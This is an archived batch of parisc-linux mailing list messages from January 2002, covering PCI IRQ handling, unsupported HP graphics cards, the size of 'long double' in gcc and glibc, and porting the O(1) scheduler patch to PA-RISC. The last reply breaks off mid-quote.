List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13777

On Thu, Jan 17, 2002 at 11:02:31AM -0500, Alexandre April wrote:
> 
> 	I'm developping a char driver for one of our PCI card in linux kernel
> 2.4.2-2smp (Multi-processor). And the IRQ that I read from my pci config
> space is 0x7 but the one that the kernel sees when I do "lspci -v" is 0x27.
> Is there a way the pass from 0x7 to 0x27 using some kernel macro's.

you shouldn't read the irq directly from config space.  this is all done
for you by the pci support code.  use the ->irq member of struct pci_dev
instead.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arjen Hommersom <arjenh@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 on a graphics console
Date: Fri, 18 Jan 2002 06:00:47 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <3C47ABFF.3090102@chello.nl>
References: <117AF172-0904-11D6-AEFA-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620980 1276 80.91.229.3 (22 Nov 2014 01:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 17 16:09:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amsfep13-int.chello.nl (amsfep13-int.chello.nl [213.46.243.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id D378B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jan 2002 16:09:30 -0700 (MST)
Original-Received: from gatekeeper ([213.46.122.137]) by amsfep13-int.chello.nl
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020117230910.HAIM3637.amsfep13-int.chello.nl@gatekeeper>;
          Fri, 18 Jan 2002 00:09:10 +0100
Original-Received: from allevil
	([10.0.1.2] helo=chello.nl ident=arjen)
	by gatekeeper with esmtp (Exim 3.12 #1 (Debian))
	id 16RLgi-0002Dr-00; Fri, 18 Jan 2002 00:11:16 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20011221
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13778

Thibaut VARENE wrote:

>>
>> For hardware.. it's a C240 and sam reports a HP visualize FX2(4) as a 
>> graphics card that is connected to a VGA monitor which works ok in 
>> HP-UX. If you can tell me how to get more detailed hardware 
>> information in HP UX, i'll be happy to provide it.
>
>
> Well, I bet this specific off board graphic card is not supported.
> Although onboard controllers are getting more and more supported, it 
> is not the case for specific HP hardware.
>
> As there's no core graphics for your box, I suggest you to try with 
> serial console.


Ah, that works, linux is up and running now :) Upgrading to 2.4.16-32 
even allows me to use a  graphics console, so thats all great. However, 
i do not see the penguin while booting and XFree doesnt seem to work, so 
i suppose the framebuffer device doesn't work (?)

I found in the mailinglist archive the thread "XFree86 on B180" that 
suggests it might work if you treat this card as an 'artist graphics 
card'. I'd be more than happy to test that if someone could give me some 
details on how to do that.

Thanks,

Arjen Hommersom





From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] long double
Date: Fri, 18 Jan 2002 00:35:42 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <20020118003542.F9221@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620980 1281 80.91.229.3 (22 Nov 2014 01:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 17 17:35:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E4AD482A
	for <parisc-linux@parisc-linux.org>; Thu, 17 Jan 2002 17:35:48 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16RN0Q-0008FX-00
	for parisc-linux@parisc-linux.org; Fri, 18 Jan 2002 00:35:42 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13779

I searched the mailing list for a discussion of the `long double' problem,
but I didn't find it.  So here we go...

gcc currently thinks that `long double' is 64-bits (the same size
as double).  This is perfectly legitimate, but...
glibc thinks that `long double' is 96-bits.
And HP-UX thinks `long double' is 128-bits.

So any package using long double is probably very broken.  This may
explain some of our bizarre mathematical-related failures.

Our options:
(1) Inform gcc that it's wrong, our long doubles are really 96-bits.
I don't see any way of easily implementing 96-bit floating point numbers
on top of the hardware.  I like this option the least.

(2) Inform glibc that it's wrong, our long doubles are really 64-bits.
This probably fixes most of the problems we're experiencing, but may
break an ABI somewhere?  More investigation required.  This is probably
the easiest of the three options to implement.

(3) Change both gcc and glibc to think that long double is actually
128-bits wide.  This is almost certainly going to break some packages,
and the kernel FP support may have to be enhanced to emulate some
of the opcodes.  The PA-8500 ERS says that it does NOT support `quad
precision' operations in hardware.  This is certainly going to be more
work to implement than option (2), and it may well be slower.  There's a
recommendation that the compiler arrange for a function call to handle
long double instead of issuing the instruction and trapping.

I guess I'm most in favour of option (2), though it means that there's
no 128-bit data type, which sucks a little bit, and HPUX source code is
more difficult to port, which maybe nobody cares about.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] long double
Date: 17 Jan 2002 16:42:46 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <m36660a3qx.fsf@myware.mynet>
References: <20020118003542.F9221@parcelfarce.linux.theplanet.co.uk>
Reply-To: drepper@redhat.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620980 1283 80.91.229.3 (22 Nov 2014 01:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 17 17:43:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cygnus.com (unknown [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with SMTP id 2A999482A
	for <parisc-linux@parisc-linux.org>; Thu, 17 Jan 2002 17:43:00 -0700 (MST)
Original-Received: from myware.mynet (fiendish.sfbay.redhat.com [205.180.231.146])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA19480;
	Thu, 17 Jan 2002 16:42:48 -0800 (PST)
Original-Received: (from drepper@localhost)
	by myware.mynet (8.11.6/8.11.6) id g0I0gkP17316;
	Thu, 17 Jan 2002 16:42:46 -0800
X-Authentication-Warning: myware.mynet: drepper set sender to drepper@redhat.com using -f
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: <20020118003542.F9221@parcelfarce.linux.theplanet.co.uk>
Original-Lines: 20
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (asparagus)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13780

Matthew Wilcox <willy@debian.org> writes:

> (3) Change both gcc and glibc to think that long double is actually
> 128-bits wide.

This is definitely what you should do.  glibc includes now a full set
of 128-bit math functions.  They should be used everywhere the ABI are
not demanding the braindamaged 96-bit format.  Even Alpha, PPC, etc
will change to this when time comes.

> This is almost certainly going to break some packages, and the
> kernel FP support may have to be enhanced to emulate some of the
> opcodes.

Not necessarily.  Look at soft-fp support in glibc.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.3 on a graphics console
Date: Fri, 18 Jan 2002 01:40:27 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020118014027.B4257@solo.franken.de>
References: <117AF172-0904-11D6-AEFA-0030656F07A2@esiee.fr> <3C47ABFF.3090102@chello.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620981 1286 80.91.229.3 (22 Nov 2014 01:49:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:41 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Arjen Hommersom <arjenh@chello.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 17 17:43:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (p508455F9.dip.t-dialin.net [80.132.85.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFC35482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jan 2002 17:43:34 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g0I0eR504615;
	Fri, 18 Jan 2002 01:40:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C47ABFF.3090102@chello.nl>; from arjenh@chello.nl on Fri, Jan 18, 2002 at 06:00:47AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13781

On Fri, Jan 18, 2002 at 06:00:47AM +0100, Arjen Hommersom wrote:
> Ah, that works, linux is up and running now :) Upgrading to 2.4.16-32 
> even allows me to use a  graphics console, so thats all great. However, 
> i do not see the penguin while booting and XFree doesnt seem to work, so 
> i suppose the framebuffer device doesn't work (?)

correct, FX cards aren't supported by the framebuffer device, because I don't
have documentation for them.

> I found in the mailinglist archive the thread "XFree86 on B180" that 
> suggests it might work if you treat this card as an 'artist graphics 
> card'. I'd be more than happy to test that if someone could give me some 
> details on how to do that.

no way, I tried to treat my FX6 as something, which already works. But no
luck.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] long double
Date: Thu, 17 Jan 2002 17:13:51 -0800 (PST)
Lines: 20
Approved: news@gmane.org
Message-ID: <200201180113.RAA06216@opus.allegro.com>
References: <m36660a3qx.fsf@myware.mynet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620981 1290 80.91.229.3 (22 Nov 2014 01:49:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:41 +0000 (UTC)
Cc: willy@debian.org (Matthew Wilcox), parisc-linux@parisc-linux.org
To: drepper@redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 17 18:13:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F66E482A
	for <parisc-linux@parisc-linux.org>; Thu, 17 Jan 2002 18:13:55 -0700 (MST)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id RAA06216;
	Thu, 17 Jan 2002 17:13:51 -0800
In-Reply-To: <m36660a3qx.fsf@myware.mynet> from "Ulrich Drepper" at Jan 17, 2002 04:42:46 PM
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13782

Re:

[(stuff about how big "long double" is)]

> > (3) Change both gcc and glibc to think that long double is actually
> > 128-bits wide.
> 
> This is definitely what you should do.  glibc includes now a full set
> of 128-bit math functions.  They should be used everywhere the ABI are
> not demanding the braindamaged 96-bit format.  Even Alpha, PPC, etc
> will change to this when time comes.


That's why I use: real32, real64, real128 :)

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] long double
Date: Thu, 17 Jan 2002 22:20:05 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200201180320.g0I3K5ko003382@hiauly1.hia.nrc.ca>
References: <20020118003542.F9221@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620981 1291 80.91.229.3 (22 Nov 2014 01:49:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:41 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 17 20:48:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28496482A
	for <parisc-linux@parisc-linux.org>; Thu, 17 Jan 2002 20:48:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g0I3K5FN003383;
	Thu, 17 Jan 2002 22:20:06 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g0I3K5ko003382;
	Thu, 17 Jan 2002 22:20:05 -0500 (EST)
In-Reply-To: <20020118003542.F9221@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jan 18, 2002 00:35:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13783

> gcc currently thinks that `long double' is 64-bits (the same size
> as double).  This is perfectly legitimate, but...

This is only hppa64.  Clearly, this should be 128 bits.  However,
somebody needs to work out the ABI issues and provide a patch to
gcc to support 128 bit long doubles.  At the moment, hppa64 doesn't
even build on the gcc main branch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sched-O1-2.4.17-I3.patch, need help
Date: Fri, 18 Jan 2002 08:19:38 +0100 (CET)
Lines: 93
Approved: news@gmane.org
Message-ID: <1011338378.3c47cc8a895dd@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620982 1293 80.91.229.3 (22 Nov 2014 01:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 18 00:19:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1978482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jan 2002 00:19:40 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16RTJK-0004sI-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jan 2002 08:19:38 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13784

Hi all,

Curious to test the patch of the new scheduler-0(1) on the palin, I need your help.

I apply successfully the original patch against kernel 2.4.17-pa11 and after
analysing its contents it appear that there are some i386 specific patches.
There is the two which are problems for me because there are in asm section (and
I do not undertand what the first makes):

--- linux/include/asm-i386/bitops.h.orig        Tue Aug 21 14:26:16 2001
+++ linux/include/asm-i386/bitops.h     Wed Jan 16 00:52:28 2002
@@ -75,6 +75,14 @@
                :"=m" (ADDR)
                :"Ir" (nr));
 }
+
+static __inline__ void __clear_bit(int nr, volatile void * addr)
+{
+       __asm__ __volatile__(
+               "btrl %1,%0"
+               :"=m" (ADDR)
+               :"Ir" (nr));
+}
 #define smp_mb__before_clear_bit()     barrier()
 #define smp_mb__after_clear_bit()      barrier()

This second seems to me that I can transpose as it is but want your advice:

--- linux/include/asm-i386/mmu_context.h.orig   Tue Aug 21 14:26:23 2001
+++ linux/include/asm-i386/mmu_context.h        Wed Jan 16 00:52:28 2002
@@ -7,6 +7,28 @@
 #include <asm/pgalloc.h>

 /*
+ * Every architecture must define this function. It's the fastest
+ * way of searching a 168-bit bitmap where the first 128 bits are
+ * unlikely to be set. It's guaranteed that at least one of the 168
+ * bits is cleared.
+ */
+#if MAX_RT_PRIO != 128 || MAX_PRIO != 168
+# error update this function.
+#endif
+
+static inline int sched_find_first_zero_bit(unsigned long *b)
+{
+       unsigned int rt;
+
+       rt = b[0] & b[1] & b[2] & b[3];
+       if (unlikely(rt != 0xffffffff))
+               return find_first_zero_bit(b, MAX_RT_PRIO);
+
+       if (b[4] != ~0)
+               return ffz(b[4]) + MAX_RT_PRIO;
+       return ffz(b[5]) + 32 + MAX_RT_PRIO;
+}
+/*
  * possibly do the LDT unload here?
  */
 #define destroy_context(mm)            do { } while(0)

And what do you about this one (how to implement it on hppa?):

--- linux/arch/i386/kernel/process.c.orig       Sun Jan  6 13:55:47 2002
+++ linux/arch/i386/kernel/process.c    Wed Jan 16 00:52:28 2002
@@ -123,15 +123,12 @@
 void cpu_idle (void)
 {
        /* endless idle loop with no priority at all */
-       init_idle();
-       current->nice = 20;
-       current->counter = -100;

        while (1) {
                void (*idle)(void) = pm_idle;
                if (!idle)
                        idle = default_idle;
-               while (!current->need_resched)
+               if (!current->need_resched)
                        idle();
                schedule();
                check_pgt_cache();

Thanks in advance for your help,
        Joel

PS: please make me in CC.



-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched-O1-2.4.17-I3.patch, need help
Date: Fri, 18 Jan 2002 08:06:34 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <20020118080634.A7462@parcelfarce.linux.theplanet.co.uk>
References: <1011338378.3c47cc8a895dd@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620982 1296 80.91.229.3 (22 Nov 2014 01:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 18 01:06:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FC83482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jan 2002 01:06:41 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16RU2k-00055x-00; Fri, 18 Jan 2002 08:06:34 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1011338378.3c47cc8a895dd@webmail.tiscalinet.be>; from joel.soete@freebel.net on Fri, Jan 18, 2002 at 08:19:38AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13785

On Fri, Jan 18, 2002 at 08:19:38AM +0100, joel.soete@freebel.net wrote:
> +
> +static __inline__ void __clear_bit(int nr, volatile void * addr)
> +{
> +       __asm__ __volatile__(
> +               "btrl %1,%0"
> +               :"=m" (ADDR)
> +               :"Ir" (nr));
> +}

__clear_bit is simply a lockless clear_bit.  it's the same difference
between __set_bit and set_bit.

>  /*
> + * Every architecture must define this function. It's the fastest
> + * way of searching a 168-bit bitmap where the first 128 bits are
> + * unlikely to be set. It's guaranteed that at least one of the 168
> + * bits is cleared.
> + */
